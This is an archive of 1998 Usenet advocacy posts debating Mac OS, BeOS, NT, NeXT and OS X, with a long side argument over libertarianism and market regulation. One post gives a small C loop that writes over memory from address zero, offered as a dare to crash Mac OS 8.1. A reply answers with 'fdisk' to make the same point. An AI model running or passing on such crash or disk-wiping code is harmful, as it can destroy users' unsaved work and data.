References: <6oj5a0$goe$1@hole.sdsu.edu> <35B08C8B.7E9A@REMOVE.wayne.edu> <19980718131133152609@pm2-2-03.aug.com> <35B16136.5FA1@REMOVE.wayne.edu> <900819436.724616@kelp.mbay.net> <35B16FA8.3913@REMOVE.wayne.edu> <6otlib$uqf$1@nnrp1.dejanews.com> <35b2b316.0@blushng.jps.net> <6ouobr$8e1$1@bunyip.cc.uq.edu.au>
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Christopher Smith wrote:
>
> Josiah Fizer <mib@klassy.com> wrote in message 35b2b316.0@blushng.jps.net...
> >
> >quinlan@intergate.bc.ca wrote in message
> ><6otlib$uqf$1@nnrp1.dejanews.com>...
> >>In article <35B16FA8.3913@REMOVE.wayne.edu>,
> >> Eric Iverson <eric_iverson@REMOVE.wayne.edu> wrote:
> >>Do you really think that the difference between BeOS and, for example, NT
> >is
> >>as great as the difference between the MacOS and DOS? I can't think of any
> >>application that you be much easier to write for BeOS than NT.
> >>
> >>-----== Posted via Deja News, The Leader in Internet Discussion ==-----
> >>http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
> >
> >Lets see, BeOS runs in a small memory footprint and off of as little as 1
> >meg of disk space (yes it will, I've seen BeOS running off a floppy with
> the
> >full GUI). NT, well NT wont.
>
> This I'd love to see - can you give, or point me towards instructions on how
> to make a boot disk that will let me boot the BeOS to a GUI on *any* system
> which is supported ?
It can be done by droping out a lot of other system files (ie audio &
networking) It was done to show how much the BeOS can be scaled. In
truth there is very little point to doing such a thing other than
tweaking the OS to run on say a palmtop system.
Message-ID: <35B35EB7.3435@betabreakers.com>
Date: Mon, 20 Jul 1998 08:13:59 -0700
From: Josiah Fizer <jfizer@betabreakers.com>
Organization: Beta Breakers
MIME-Version: 1.0
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
References: <6oj5a0$goe$1@hole.sdsu.edu> <35B08C8B.7E9A@REMOVE.wayne.edu> <19980718131133152609@pm2-2-03.aug.com> <35B16136.5FA1@REMOVE.wayne.edu> <900819436.724616@kelp.mbay.net> <atticus-1907981919040001@user-38lcdcg.dialup.mindspring.com> <35b2b37e.0@blushng.jps.net> <6ouel5$q2d$1@holly.prod.itd.earthlink.net>
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Pinochet wrote:
>
> Josiah Fizer wrote in message <35b2b37e.0@blushng.jps.net>...
>
> >I gues Unreal is Windows killer app as thats about the only thing I cant do
> >on my other computers.
>
> Well, Unreal does a good job of killing Disk Space.....
yes but hard drives are getting biger so us programers dont NEED to
build small well built apps, right?
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.ms.windows.advocacy,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.os2.advocacy,comp.sys.be.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Advocacy BloodDrive Update
Date: 20 Jul 1998 14:06:53 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6r6jnt.9fc.sal@panix3.panix.com>
References: <MPG.101c7bc9a5a016729899c5@news.supernews.com> <macghod-1907982246160001@sdn-ar-001casbarp151.dialsprint.net> <MPG.101cf9e22c0037309899ca@news.supernews.com>
I'm an NT developer. I've given up a bit of my sanity, a bit of hope
and some of my hair. And now you want blood?
--
sal@panix.com
Salvatore Denaro
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 20 Jul 1998 14:48:46 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6r6m6e.9fc.sal@panix3.panix.com>
References: <slrn6qqgad.vos.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6ojqpt$u6p$1@samsara0.mindspring.com> <slrn6qs9l9.860.sal@panix3.panix.com> <35AE2C81.AB098FF4@ericsson.com> <dHrr1.4009$24.23232568@news.itd.umich.edu> <35AE4D48.B45E4579@ericsson.com> <Jeur1.4033$24.23345884@news.itd.umich.edu> <35AE772F.B35DEA51@ericsson.com> <slrn6qt8uh.7n9.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35AEF495.EEEF2844@nstar.net>
On Fri, 17 Jul 1998 06:52:05 +0000, Michael J. Peck <mjpeck@nstar.net> wrote:
>Prosecution is settled through fines. Loss of reputation means a loss of
>business, which can kill a company. Apple is a case in point. So is
>Microsoft.
Huh? Microsoft has a horrid reputation, and it hasn't stopped them at
all. GE has a reputation for killing off its employees with irresponsible
workplace safety mismanagement, yet when you ask someone about GE; the
phrase "we bring good things to life"
A company can buy a good reputation. Even you leave everything up to
the court of public opinion, justice will belong only to those who can
buy it.
>> Why isn't reputation coveted now? Why aren't there groups like
>> SafeMeat with more-strict-than-USDA-standards inspecting and branding
>> meat right now?
>Exactly. That's a question we should all be asking,
In areas when the private sector has stepped in an managed things for
itself, goverment has been very amenable about it. The USDA has handed
over safty check to private sector groups before (Georgia peaches are
inspected by a private sector group, IIRC)
UL also comes to mind.
>as the government
>usurps personal responsibility in the name of mythical and somehow
>eulsive 'safety'.
Why should someone be allowed to sell food that would make someone
sick? How much do you know about food safety?
>> What is there to stop them? I don't think there are any big bad
>> government thugs in their way at the moment.
>Every company involved in the sale of edible goods has an extensive
>quality-assurance program committed to meeting FDA guidelines.
IIRC, the USDA is in charge of produce and meat. And prior to the
USDA guidelines there was no uniformed measure of quality.
>These
>programs are *incredibly* expensive and involve untold numbers of
>lawyers. This extraction of money is hindering privatized efforts toward
>responsible consumer/corporation relations.
Being sued by untold numbers of lawyers is also expensive. A company with
a solid record of meeting the FDA/USDA requirements has a better chance
of getting a case dismissed as frivolous then one that has a spotty
record.
>> By contrast, imagine Safe-T-Meat (instead of SafeMeat) was formed by
>> other not-so-honest meatproducers which wanted to give the illusion of
>> safe meat inspection, but really it was just a sham. Or perhaps the
>> honest SafeMeat gets quietly subverted or bought out.
>The "sham" you speak of is the FDA.
Do yourself a favor and read up on how goverment regulations are implemented.
More often then not, they come about after years (and often decades) of
public outcry. When the private sector has stepped in and fixed the problem
themselves, the regulations aren't needed, and the government stays out.
>> Yes, in the fundamentalist libertarian world, everybody would end up
>> suing each other for all the fraud committed by all these sorts of
>> scams. Assuming they had the money, and could find the perpetrators,
>Numerous lawsuits are the libertarian ideal? I wasn't aware of that. I
>thought it had something to do with personal responsibility. You've
>pulled a new one on me.
The libertarian ideal sounds like a world of corporate despots to me.
--
sal@panix.com
Salvatore Denaro
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 20 Jul 1998 15:23:35 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6r6o7n.9fc.sal@panix3.panix.com>
References: <slrn6qqgad.vos.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35AE2C81.AB098FF4@ericsson.com> <dHrr1.4009$24.23232568@news.itd.umich.edu> <6olrqt$5om$1@camel21.mindspring.com>
On 16 Jul 1998 21:37:33 GMT, Matthew Cromer <matthew_cromer@iname.com> wrote:
>In article <slrn6qs9l9.860.sal@panix3.panix.com> Salvatore Denaro,
>sal@panix3.panix.com writes:
>>And how is this different from the SEC setting the rules?
>Please. Is this a serious question?
>
>The difference is, of course, that one can go to another exchange, or
>start another exchange if one disagrees with the rules without completely
>severing oneself to all ties.
What a load of crock. Total immunity from the law? That is anarchy, not
libertarianism. Do I have the right to yell "fire" in a crowded movie
theater? Do I have the right to burn garbage on my lawn and have the
fumes loft over to your property?
> What makes five
>>guys on an SEC commity "evil goverment drones" but those same five guys
>>running an unregulated private exchange "shinning knights of capitalism"?
>Because the SEC drones carry guns and force everyone to comply to a fixed
>rigid set of rules.
And libertarians don't carry guns? The private sector has been very willing
and very able to use violence to enforce its will on others. Read up on
the history of organized labor in the US. Look up the name Pinkerton.
>>What about insider trading? How could exchanges stop it without the SEC?
>Using the same investigatory methodologies as the SEC. Sanction being
>fines or ejection from the exchange.
A trading company that is aware of an individual bringing in a lot of
money by playing in grey areas is faced with a conflict of interest. On
one hand they have a responsibility to make money, and on the other
hand they have a responsibility to follow the rules they set for them
selves. Under the SEC, they have no conflict. As part of the privilege
of being able to trade stock, they accept the rules made by the SEC.
>Of course, anyone who doesn't believe that inside trading goes on every
>day on the SEC regulated exchanges hasn't done much stock trading.
I know a lot of people who claim to have made a lot of money by just
being in the right elevator at the right time.
>>Should people be able to abuse knowledge they get under strict confidence?
>Please elaborate on this point, and explain why the Statist SEC is a
>better solution to exchange regulation.
Above.
And some areas of the market have been self regulated for years. In
those areas, the govenment has stayed out of the way.
>>> Therefore, if a
>>>company wants to be traded on a reputable exchange, they will comply with
>>>exchange rules.
>>What keeps these exchanges honest?
>Reputation.
>You do realize, for example, that the NYSE has much higher standards than
>the NASDAQ pink sheets. Now why do many companies want to be listed on
>NYSE? Reputation.
LOL. In the early '80s it was very well know that the "hot" houses on the
street were dirty and traded on insider info. They had a reputation for
making money, and that was enough to get people to write out checks for
them.
> Are you aware of the phenomena
>>called "the prisoner's dilemma"? What would keep a short sided person from
>>abusing investor confedence to make a quick kill in the market?
>The exchanges have a vested interest to keep unreputatable firms off
>their exchanges.
Crock. They have a vested interest in making money.
>Government advocates always claim every improvement is a result of their
>meddling.
I've never claimed this.
>>>there were an exchange for speculative startups, these entrepreneurs
>>>could get money from the broader public instead of having to give up
>>>control to angels and vc's.
>>------------^^^^^^
>>And how is Libertarian blind faith in the "free market" all that different
>>then blind faith in anything else? I think a middle of the road system
>>with a lot of checks and balances will serve the majority better then a
>>system that leans to any one side.
>Libertarians do not have blind faith in "the free market".
Then why do you want to get rid of the system of checks and balances?
> We believe
>that the social instruments of voluntary exchange and cooperation are
>superior to the gun, stick, baton, coercion, making others do what you
>wish them to do.
Then why do Libertarians advocate owning guns for self defense? Perhaps
you could use the instruments of voluntary exchange and cooperation when
someone attempts to rob you.
> We feel everyone is better off under systems where
>people do what they choose to do in their own best interest instead of
>systems where a small group of people use force to control others
>behavior against their will.
That isn't Libertarianism, that is anarchy. (Or despotism if you maintain
the concept of private property)
>>Take a look at the events leading up to the great depression.
>You mean the massive government injection of liquidity into the market
>right before the crash, and the foolish removal of liquidity during the
>crash, exacerbating and deepening its effects?
No, the run on the banks. The irresponsible actions of then unregulated
exchanges.
Then take a look at how goverment action (and deficit spending) pulled
the economy out of the great depression.
>>at some of the stock fixing that has gone on in the unregulated exchanges
>>of the former Soviet block nations. If you want URL's or ISBN numbers I'll
>>get them for you.
>So brand new capitalists who just left a socialist system tend to be
>rubes? This is a surprise to you?
There are plenty of rubes in the US as well. Do you believe that I have a
right to sell them on a pyramid scam? Or sell them 200% of a bogus company?
>They will learn, if they continue to
>have a reasonable level of freedom in their country.
The WSJ had a well done article on how much better off the former Soviet
block nations if they implemented the same kind of exchange and accounting
regulations that the west has. A number of foreign equity trading houses
refuse to deal with Russian companies untill they have an equivalent of
the SEC.
--
sal@panix.com
Salvatore Denaro
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Static typing and dynamic binding
Date: 20 Jul 1998 20:13:00 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6p08cc$acn$1@news.cs.tu-berlin.de>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu> <6moqam$4os$1@nnrp1.dejanews.com> <359011E4.C8A51B95@cisco.com> <6n08oi$rrs$1@nnrp1.dejanews.com> <6mvtgs$hnm$3@ns3.vrx.net> <6n0mol$sh2$1@flotsam.uits.indiana.edu> <6n0ap7$r0e$1@ns3.vrx.net> <6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net> <6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net> <6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net> <6nabot$r2h$4@ns3.vrx.net> <
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lars.farm@ite.mh.se (Lars Farm) writes:
>Marcel Weiher <marcel@cs.tu-berlin.de> wrote:
>> >> Communicating objects with identity and behavior. These are the only
>> >> externally visible 'properties'. (See RM-ODP). Objects also have
>> >> state, but this is invisible.
>> It differs in that there is no reference to ADTs. More importanty,
>> there is no visible class as an intrinisc object property. Externally
>> visible classification is only via observed behavior, i.e. the ability
>> to respond to certain messages (grouped into named protocols/interfaces).
>But, but ... ? Is it just the name ADT? For some reason this makes me
>think of H C Anderson and emperors and clothes ;-)
Nope, if you read the part after 'More importanty' (typo and all :-),
you *should* be able to see what that difference is. The name is
just symptomatic.
Once again the quote from the notes on Alan Kay's talk at OOPSLA 97:
"Simula to OOP is moving to new things. Simula to ADT (Abstract Data Types:
C++, Mesa, Ada) is moving on to better old things."
Once again, moving to better old things is not bad, after all, they're
better. However, you're not moving to the new things that OOP can
deliver and the even newer things it is hinting at.
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Mon, 20 Jul 1998 20:28:19 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6p0994$iv6$1@nnrp1.dejanews.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <Josh.McKee-1707981733170001@pm3a19.rmac.net> <Josh.McKee-1807981007290001@pm3a21.rmac.net> <6oqjko$qqs$1@camel19.mindspring.com> <6otmti$g4$1@nnrp1.dejanews.com> <35b26dbb.0@news.depaul.edu> <6ou5gk$kfk$1@nnrp1.dejanews.com> <MPG.101cfec0f9313ac39899cc@news.supernews.com>
In article <MPG.101cfec0f9313ac39899cc@news.supernews.com>,
don.brown@cesoft.com (Donald Brown) wrote:
> Do you draw any distinction between "lied to" and "were wrong"?
Of course.
> When those things were told to you, Apple was quite convinced it would
> happen. They were sure Copland was a done deal...and then discovered
> that it just wouldn't work and they couldn't make it work.
OK, Apple thought that Copland would ship for the 6100 but they mismanaged the
project so it failed.
> Apple was later sure that Rhapsody was the done deal and the future.
> This one, they had the technology right and it's working, but it turned
> out to be the wrong solution and not what people would want.
Doesn't matter. They never said that it would ship for the 6100.
> In this part at least, Apple was telling you what they really believed
> and did their best to accomplish those plans. They failed. You
> apparently wish they had given up, or at least took what they could do
> and expand it until it would become another Copland.
Last week I told my Mom that I'd pick up some milk at the store. On the way
there I stopped at a bar, got smashed, wondered around drunk and eventually
winded up at home. The next morning, my Mom asked for her milk and I said
that I didn't pick it up. She was angry, of course so I told her that I was
drunk and couldn't do it. For some reason that didn't cheer her up.
Remembering that I was going shopping that day, I told my Mom that I would be
getting my friends some Kool-Aid and pop. She asked about the milk but I had
to tell her that I couldn't get it for her because the milk store was a block
out of my way. Once again she got angry and I couldn't figure out why.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: Jim Mueller <webnik@globaldialog.com>
Newsgroups: comp.ms.windows.advocacy,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.os2.advocacy,comp.sys.be.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Advocacy BloodDrive Update
Date: Mon, 20 Jul 1998 16:31:18 -0500
Organization: http://www.globaldialog.com/~webnik/
Message-ID: <35B3B726.3CD7@globaldialog.com>
References: <MPG.101c7bc9a5a016729899c5@news.supernews.com> <macghod-1907982246160001@sdn-ar-001casbarp151.dialsprint.net> <MPG.101cf9e22c0037309899ca@news.supernews.com> <35B3A53B.D5BDFD97@rauland.com>
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Edwin E. Thorne wrote:
> > Donald
>
> I donated blood on July 8th. Am I eligible to vote?
>
> Edwin
> --
> "... start treating people as individuals, instead of some huge glob of
> evil lump." -- David T. Wang
Hey Edwin, Why don't you and Anton donate?
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: a new os for the rest of us?
Date: 20 Jul 1998 21:49:56 GMT
Organization: Primenet (602)416-7000
Message-ID: <6p0e24$3bd$2@nnrp03.primenet.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <Josh.McKee-1707981733170001@pm3a19.rmac.net> <Josh.McKee-1807981007290001@pm3a21.rmac.net> <6oqjko$qqs$1@camel19.mindspring.com> <6otmti$g4$1@nnrp1.dejanews.com>
<MPG.101c7d4f5307a6f09899c6@news.supernews.com> <macghod-1907982258410001@sdn-ar-001casbarp151.dialsprint.net> <MPG.101cf9672b7547519899c9@news.supernews.com>
NNTP-Posting-Date: 20 Jul 1998 21:49:56 GMT
Donald Brown <don.brown@cesoft.com> wrote:
: Depends. What apps will it run? I know Office doesn't run on it, how
: close is the equivalence? Does the office-equivalent have the same user
: interface? It's not the UI of the finder that matters, it's the UI of
: the apps, and the consistancy of the apps.
I would think you wouldn't want Office on your new OS. You could end up
on the needle like Apple is. Apple got hooked on Office early on, and now
needs a fix from Microsoft every now and then to keep them going. It's
not a good thing when your competetor is also your supplier.
Better to stay off the Junk from the start.
John
From: qwerty.x@algonet.se (Magnus Thoor)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Mon, 20 Jul 1998 23:55:03 +0200
Organization: Algonet/Tninet
Message-ID: <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com>
Michael M. Eilers <not@a.valid.email.add> wrote:
> The ones who are serious about Macs will upgrade to G3. 3rd Quarter 1999
Just to get shafted again when OS X won't be released due to (insert
excuses here)? But Apple instead has OS XI just around the corner but
you need a G4 to run it?
Also, why should I have to buy a new machine if the one I'm using is
working fine and is plenty fast? It should work even better with OS X,
if Apple's hype is true. We're talking about quite capable machines that
gets the boot just because Apple feels like selling a few more G3's, and
that's what's makes it so *ugly*.
The truth in the matter is that Apple simple has gotten greedy, and I'm
pretty sure it's going to backfire on them.
> is a VERY long time away. The ones who are not will stick with Allegro and
> and the rest of the non-G3 OSs. Or why not just stick with OS 8.1? My
Because 8.1 is so obsolete it isn't even funny?
Want prof? Try this on your "stable 8.1":
main() {
long*addr=0;
while(1) {
*addr++=1;
}
}
Don't forget to save any unsaved work before....
Magnus
--
Delete spamblocker '.x' to reply via email
From: id_est@interport.net (tse_di)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Mon, 20 Jul 1998 18:02:09 -0400
Organization: none
Message-ID: <id_est-2007981802090001@192.168.1.3>
References: <3593EEF0.4785E327@nstar.net> <6n1s6g$ldf$1@ndnws01.ne.highway1.com> <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de>
In article <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de>,
schuerig@acm.org (Michael Schuerig) wrote:
> Don't get me wrong, I'm not trying to tell you to take the Mac UI as
> it's always been and shut up. I'm always open for improvements, but
> first I've got to understand what improvements you have in mind.
I have a list of improvements I would like to see. I would like to see
consistent use of radio buttons (mutually exclusive static selections),
pop up menus ( mutually exclusive dynamic selections) and check boxes
(non-mutually exlusive static selctions)... I don't know what to do about
dynamic non-mutally exclusive selections) I would like to see subtley
animated icons for files that are in use. I would like to see print and
page setup dialogs unified and simplifies. I would like to see visual
feedback about if a printer is in use even if by a different user. I would
like to see a "drag and save" system that can replace open/save dialogs in
some situation. I would like to see a task manager that allows simple
scheduling control. I would like to see folders indicating whether they
were empty or contained items and whether they were open or closed. I
would like to see a flexible task manager that allowed me to simply
control priority and kill offending programs.( a necessity in a PMT
system). I would like the abilty to float any window. I would like windows
to use transparency for drop shadows to indicate that they were floating.
I would like to be able to control the size (or have a few choices) about
the size of things like scroll bars, title bars and their styles. I would
like a better way of handling disk and server mounting and unmounting. If
you are curious have a look at the PDF at
http://www.users.interport.net/~id_est/Interface.pdf (sorry it is 570K
Ihaven't had time to make it into a web page.). It is also a little
obsolete and rough. These aren't things that I think should happen they
are more ideas that I think could help define directions.
By the way, I like the Mac interface. I just think there is definitely
room for improvement.
From: gwangung@u.washington.edu (R. Tang)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 20 Jul 1998 20:50:05 GMT
Organization: University of Washington, Seattle
Message-ID: <6p0aht$mrk$1@nntp6.u.washington.edu>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6otmti$g4$1@nnrp1.dejanews.com> <MPG.101c7d4f5307a6f09899c6@news.supernews.com> <6p07rq$gn5$1@nnrp1.dejanews.com>
NNTP-Posting-User: gwangung
In article <6p07rq$gn5$1@nnrp1.dejanews.com>, <quinlan@intergate.bc.ca> wrote:
>Then they shouldn't have said that they would do it. Their incompetance is
>hardly my problem. And I don't believe that Apple can't port Mac OS X to all
>the PowerMacs.
Neither does Apple.
The part people keep forgetting to mention is under what time
frame using what kind of resources.
Give 'em five years and another few hundred people, and there's
probably no question they could do all PCI Macs.
But in two years?
I dunno....and people who say they DO know probably DON'T....
--
-Roger Tang, gwangung@u.washington.edu, Artistic Director PC Theatre
- Editor, Asian American Theatre Revue [NEW URL]
- http://www.abcflash.com/arts/r_tang/AATR.html
-Declared 4-F in the War Between the Sexes
From: Tyler Riti <fizzboy@cs.utexas.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
Subject: Re: Be's had their own share of direction changes (was: Here we go again...)
Date: Mon, 20 Jul 1998 16:20:33 -0500
Organization: CS Dept, University of Texas at Austin
Message-ID: <Pine.LNX.3.96.980720160809.204M-100000@dunce.cs.utexas.edu>
References: <35AD3399.FF0BD03D@rauland.com> <35B093FC.1AF8@REMOVE.wayne.edu> <joe.ragosta-1807981004130001@elk79.dol.net> <yVhs1.685$lg2.5923889@news.magma.ca> <6otft7$b4j$1@nntp2.ba.best.com> <6ouffm$jqs$1@news10.ispnews.com><6ouqr3$99$1@nntp2.ba.best.com> <Pine.LNX.3.95.980720094618.8608P-100000@rainier.virtual-impact.com> <6p052l$j3c$1@nntp2.ba.best.com> <6p064q$1pd$1@nnrp03.primenet.com>
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On 20 Jul 1998, John Jensen wrote:
> Kenneth C. Dyke <kcd@babylon5.jumpgate.com> wrote:
> : But it's not a single app, and it's not just onscreen windows. It's
> : the total number of onscreen and offscreen windows in the entire
> : *system*.
>
> Ken, you seem to know a lot about this problem. Tell me, is the problem
> "locked-in" by API definitions or some such ... or is it simply a problem
> with the current implementation?
Forgive me for jumping in late, I leave for the weekend and suddenly
c.s.b.a has been flooded with cross-posts. Anyways, how did Mr. Kenneth
Dyke arrive at the conclusion that the BeOS had a limit on the number of
windows? AFAIK, in the BeBook, it doesn't mention any sort of limit. The
only thing I can think of is the limit on the number of threads which is
somewhere around 4096, IIRC. Since each window spawns its own thread,
theoretically, there is a limit of 4096 windows. In reality, that isn't
true since there are most likely other threads running at any given time.
Even still, it's probably just a simple matter of the Be engineers
increasing that number or implementing a variable array that resizes
itself. Simple, and it can be done. I don't know what Kenneth is
complaining about, really. So what if there is a limit now? What program
is really going to open 4000 or more windows? It's not so much a matter of
"well, the OS shouldn't set limits" as it is "what is truly practical at
this moment in time" It's not like it's set in stone like it was with the
640k memory thing. Then it was a hardware problem, the number of threads
is a software problem and is much more easily fixed.
Tyler Riti
"When in doubt, spawn another thread."
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
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Date: Mon, 20 Jul 1998 18:50:25 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Message-ID: <joe.ragosta-2007981850280001@elk61.dol.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se>
In article <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se>,
qwerty.x@algonet.se (Magnus Thoor) wrote:
> Michael M. Eilers <not@a.valid.email.add> wrote:
>
> > is a VERY long time away. The ones who are not will stick with Allegro and
> > and the rest of the non-G3 OSs. Or why not just stick with OS 8.1? My
>
> Because 8.1 is so obsolete it isn't even funny?
So obsolete that it has lower TCO and higher productivity than any form of
Windows.
>
> Want prof? Try this on your "stable 8.1":
>
> main() {
> long*addr=0;
> while(1) {
> *addr++=1;
> }
> }
>
> Don't forget to save any unsaved work before....
BFD.
Try this:
fdisk
It's possible to intentionally mess up any system. What matters is how the
system works in real life.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 20 Jul 1998 23:42:48 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <6p0klo$jcu$1@camel29.mindspring.com>
References: <slrn6r6m6e.9fc.sal@panix3.panix.com>
Mime-Version: 1.0
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In article <slrn6r6o7n.9fc.sal@panix3.panix.com> Salvatore Denaro,
sal@panix3.panix.com writes:
>>The difference is, of course, that one can go to another exchange, or
>>start another exchange if one disagrees with the rules without completely
>>severing oneself to all ties.
>
>What a load of crock. Total immunity from the law?
What are you talking about here?
That is anarchy, not
>libertarianism.
Most consistent libertarians are anarchists. So what?
Do I have the right to yell "fire" in a crowded movie
>theater?
If there is a fire you do. If there is not a fire you are responsible
for damages that may be caused by your misdeed and perhaps should be
punished as well.
Do I have the right to burn garbage on my lawn and have the
>fumes loft over to your property?
No. That is tresspass. That is a tort, liable to civil or criminal suit.
>
>> What makes five
>>>guys on an SEC commity "evil goverment drones" but those same five guys
>>>running an unregulated private exchange "shinning knights of capitalism"?
>>Because the SEC drones carry guns and force everyone to comply to a fixed
>>rigid set of rules.
>
>And libertarians don't carry guns?
Libertarians do not use their guns to force others to act against their
will. In other words, libertarians believe in the use of force
defensively, not in initiating force against unwilling others.
The private sector has been very willing
>and very able to use violence to enforce its will on others. Read up on
>the history of organized labor in the US. Look up the name Pinkerton.
You seem to believe that history can only agree with you.
The history of organized labor includes many episodes of strikers
attacking the machinery or factories where they worked, roughing-up or
killing scabs, and other deplorable practices. Do you expect capitalists
to let the strikers keep strikebreakers from working? Do you expect the
factory owners to let the strikers torch their buildings?
Now if a factory owner simply used violence against strikers in an
attempt to break a strike, and not in defence, then that would be
agression, deserving compensation and punishment.
>
>>>What about insider trading? How could exchanges stop it without the SEC?
>>Using the same investigatory methodologies as the SEC. Sanction being
>>fines or ejection from the exchange.
>
>A trading company that is aware of an individual bringing in a lot of
>money by playing in grey areas is faced with a conflict of interest. On
>one hand they have a responsibility to make money, and on the other
>hand they have a responsibility to follow the rules they set for them
